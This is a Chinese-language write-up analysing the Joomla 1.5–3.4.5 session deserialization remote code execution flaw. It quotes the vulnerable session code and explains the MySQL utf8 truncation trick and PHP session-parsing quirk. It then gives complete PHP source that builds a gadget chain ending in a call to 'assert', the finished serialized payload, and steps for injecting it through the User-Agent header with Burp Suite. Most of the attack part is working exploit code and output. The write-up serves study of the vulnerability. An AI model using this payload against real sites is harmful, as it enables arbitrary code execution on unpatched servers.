joomla的代码执行漏洞分析

实验环境

joomla:1.5到3.4.5
php版本:php5.6<5.6.13;php5.5<5.5.29;php5.4<5.4.45

漏洞点

libraries/joomla/session/session.php中的JSession类中的_validate()部分代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
protected function _validate($restart = false)
{
// Record proxy forwarded for in the session in case we need it later
if (isset($_SERVER['HTTP_X_FORWARDED_FOR']))
{
$this->set('session.client.forwarded', $_SERVER['HTTP_X_FORWARDED_FOR']);
}


// ......... some other php codes

// Check for clients browser
if (in_array('fix_browser', $this->_security) && isset($_SERVER['HTTP_USER_AGENT']))
{
$browser = $this->get('session.client.browser');

if ($browser === null)
{
$this->set('session.client.browser', $_SERVER['HTTP_USER_AGENT']);
}
elseif ($_SERVER['HTTP_USER_AGENT'] !== $browser)
{
// @todo remove code: $this->_state = 'error';
// @todo remove code: return false;
}
}

return true;
}

可以看到在_validate()方法中,会直接将X_FORWARDED_FORUSER_AGENT写入到数据库中,写入之前也没有进行过滤。那么这2个参数就是我们可控的,序列化的内容就是我们可控的。
正常访问之后:
在数据库中的session表中,就会存在一条记录。其中的data字段就存有上述所序列化的内容。

1
__default|a:8:{s:15:"session.counter";i:2;s:19:"session.timer.start";i:1479436122;s:18:"session.timer.last";i:1479436122;s:17:"session.timer.now";i:1479436831;s:22:"session.client.browser";s:72:"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0";s:8:"registry";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:4:"user";O:5:"JUser":26:{s:9:"\0\0\0isRoot";b:0;s:2:"id";i:0;s:4:"name";N;s:8:"username";N;s:5:"email";N;s:8:"password";N;s:14:"password_clear";s:0:"";s:5:"block";N;s:9:"sendEmail";i:0;s:12:"registerDate";N;s:13:"lastvisitDate";N;s:10:"activation";N;s:6:"params";N;s:6:"groups";a:1:{i:0;s:1:"9";}s:5:"guest";i:1;s:13:"lastResetTime";N;s:10:"resetCount";N;s:12:"requireReset";N;s:10:"\0\0\0_params";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:14:"\0\0\0_authGroups";a:2:{i:0;i:1;i:1;i:9;}s:14:"\0\0\0_authLevels";a:3:{i:0;i:1;i:1;i:1;i:2;i:5;}s:15:"\0\0\0_authActions";N;s:12:"\0\0\0_errorMsg";N;s:13:"\0\0\0userHelper";O:18:"JUserWrapperHelper":0:{}s:10:"\0\0\0_errors";a:0:{}s:3:"aid";i:0;}s:13:"session.token";s:32:"07cf4a20c397ebd2049e02ebeee43e27";}393:"123}__test|O:21:"JDatabaseDriverMysqli":22:{s:4:"name";s:6:"mysqli";s:12:"\0\0\0nameQuote";s:1:"`";s:11:"\0\0\0nullDate";s:19:"0000-00-00 00:00:00";s:26:"

在data中,就可以发现"session.client.browser";s:72:"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0";,可以看打程序最后确实是将数据直接序列化存入到了数据库中。

Poc分析

关于整个流程的分析,可以参考phithon的文章。本篇文章主要是说明PoC的编写。

序列化字符串替换

发现最终存入数据库的数据,都会存在\0\0\0的字符串。通过分析发现:
libraries/joomla/session/storage/database.php中的JSessionStorageDatabase类中的read()和write()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public function write($id, $data)
{
// Get the database connection object and verify its connected.
$db = JFactory::getDbo();

$data = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);

// ......... some other php codes
}

public function read($id)
{
// Get the database connection object and verify its connected.
$db = JFactory::getDbo();
try
{
// Get the session data from the database table.
$result = str_replace('\0\0\0', chr(0) . '*' . chr(0), $result);
return $result;
}
catch (Exception $e)
{
return false;
}
}

可以看到在read()方法中会将字符串chr(0) . '*' . chr(0)变为\0\0\0来存储,在读取的时候将\0\0\0还原为chr(0) . '*' . chr(0)

数据库截断

从上面的最终写入到数据库中的值,我们发现除了写入了X-FORWARD-FORUSER-AGENT值之外,还写入了其他的值,为了不影响我们最终的反序列化的正确执行,我们需要将后面的字符串给截断。此时有需要利用到mysql中的utf8的字符特性。
当插入到mysql数据库中时,如果存在字符串𝌆(\xF0\x9D\x8C\x86),整个字符串后面都会被截断,不会存入到数据库中。

序列化字符串构造

在利用数据库截断的方法,我们可以截断后面的字符串,但是我们还需要处理前面的字符串。这个时候就需要利用到php中在进行序列化的时候,遇到多个|的处理方式。在之前的文章,就讲过这个问题。如果采用的是php引擎,那么在进行session的读取的时候,会以|作为分隔符,得到key和value。unserialize解析失败,就放弃这次解析。找到下一个|,再根据这个|将字符串分割成两部分,执行同样的操作,直到解析成功
之前使用数据库截断的方法,将字符串进行了分割,导致长度不对,所以第一次对|解析的时候会存在问题。然后进行第二次的|解析,第二次解析的时候就可以得到PoC。
还有一个很关键的地方在于,上述的解析出错的方法是对php的版本有要求的。适用于一下的php版本

  • PHP 5.6 < 5.6.13
  • PHP 5.5 < 5.5.29
  • PHP 5.4 < 5.4.45
  • 其余

主要是以上的版本会存在此问题,这也就是在文章开头对PHP的版本进行限制。
在其他的版本中,这个漏洞已经被修复了。修复方法是当解析第一个变量出错的时候,会直接销毁整个session。整个问题是要尤为注意的。在调试此漏洞的时候,一定要选择合适的版本。

PoC编写

编写的第一步就是构造得到序列化的字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
class JSimplepieFactory {
}
class JDatabaseDriverMysql {

}
class SimplePie {
var $sanitize;
var $cache;
var $cache_name_function;
var $javascript;
var $feed_url;
function __construct()
{
$this->feed_url = "phpinfo();JFactory::getConfig();exit;";
$this->javascript = 9999;
$this->cache_name_function = "assert";
$this->sanitize = new JDatabaseDriverMysql();
$this->cache = true;
}
}

class JDatabaseDriverMysqli {
protected $a;
protected $disconnectHandlers;
protected $connection;
function __construct()
{
$this->a = new JSimplepieFactory();
$x = new SimplePie();
$this->connection = 1;
$this->disconnectHandlers = [
[$x, "init"],
];
}
}
function hexToStr($hex) {
$string='';
for ($i=0; $i < strlen($hex)-1; $i+=2)
{
$hex2 = $hex[$i].$hex[$i+1];
$string .= chr(hexdec($hex2));
var_dump($string);
}
return $string;
}
$a = new JDatabaseDriverMysqli();
$result = serialize($a);
#进行字符串的替换
$result = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $result);
#得到数据库的的截断字符串
$mystr = hexToStr('F09D8C86');
# 拼接所有的字符串,得到所有的PoC
$result = "123}__test|".$result.$mystr;
var_dump($result);
s

最后得到的PoC就是

1
123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}𝌆

PoC执行

访问http://localhost/joomla/,然后使用burpsuite进行拦截,修改其中的User-Agent为上一节中的PoC,最后执行的效果如下:

可以看到数据库中的值的确是被截断。
写入成功之后,然后再次进行访问(使用相同的cookie)

最后PoC就被执行了。

参考

Joomla远程代码执行漏洞分析(总结) https://www.leavesongs.com/PENETRATION/joomla-unserialize-code-execute-vulnerability.html